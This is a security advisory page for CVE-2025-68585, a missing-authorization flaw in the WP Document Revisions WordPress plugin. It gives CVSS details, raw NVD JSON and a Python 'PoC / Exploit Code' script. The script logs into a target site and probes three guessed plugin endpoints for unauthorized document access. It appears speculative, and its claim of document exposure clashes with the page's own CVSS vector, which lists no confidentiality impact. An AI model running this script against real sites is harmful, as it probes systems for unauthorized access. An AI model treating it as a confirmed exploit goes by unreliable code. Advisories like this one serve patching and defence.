Security Vulnerability Report
中文
CVE-2025-68585 CVSS 2.7 LOW

CVE-2025-68585

Published: 2025-12-24 13:16:26
Last Modified: 2026-04-27 19:16:34

Description

Missing Authorization vulnerability in Ben Balter WP Document Revisions wp-document-revisions allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Document Revisions: from n/a through <= 3.7.2.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Document Revisions <= 3.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68585 PoC - WP Document Revisions Missing Authorization # Target: WordPress site with vulnerable WP Document Revisions plugin (<=3.7.2) def exploit_cve_2025_68585(target_url, username, password, document_id): """ Exploit for Missing Authorization in WP Document Revisions plugin. This PoC demonstrates how an authenticated user with high privileges can access documents they shouldn't have permission to view. Parameters: - target_url: Target WordPress site URL - username: WordPress username with high privileges - password: WordPress password - document_id: ID of document to attempt unauthorized access """ # Setup session session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to {target_url}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Attempt to access document without proper authorization # Try various document-related endpoints endpoints = [ f"{target_url}/?document_id={document_id}", f"{target_url}/wp-content/plugins/wp-document-revisions/front-end/Download.php?doc={document_id}", f"{target_url}/wp-admin/admin-ajax.php?action=document_revision&doc_id={document_id}" ] for endpoint in endpoints: print(f"[*] Trying endpoint: {endpoint}") response = session.get(endpoint) if response.status_code == 200: if 'document' in response.text.lower() or 'revision' in response.text.lower(): print(f"[+] Potential unauthorized access to document {document_id}!") print(f"[+] Response length: {len(response.text)} bytes") return True print("[-] No unauthorized access detected (plugin may be patched)") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-68585.py <target_url> <username> <password> <document_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] doc_id = sys.argv[4] exploit_cve_2025_68585(target, user, pwd, doc_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68585", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:25.740", "lastModified": "2026-04-27T19:16:33.923", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ben Balter WP Document Revisions wp-document-revisions allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Document Revisions: from n/a through <= 3.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-document-revisions/vulnerability/wordpress-wp-document-revisions-plugin-3-7-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}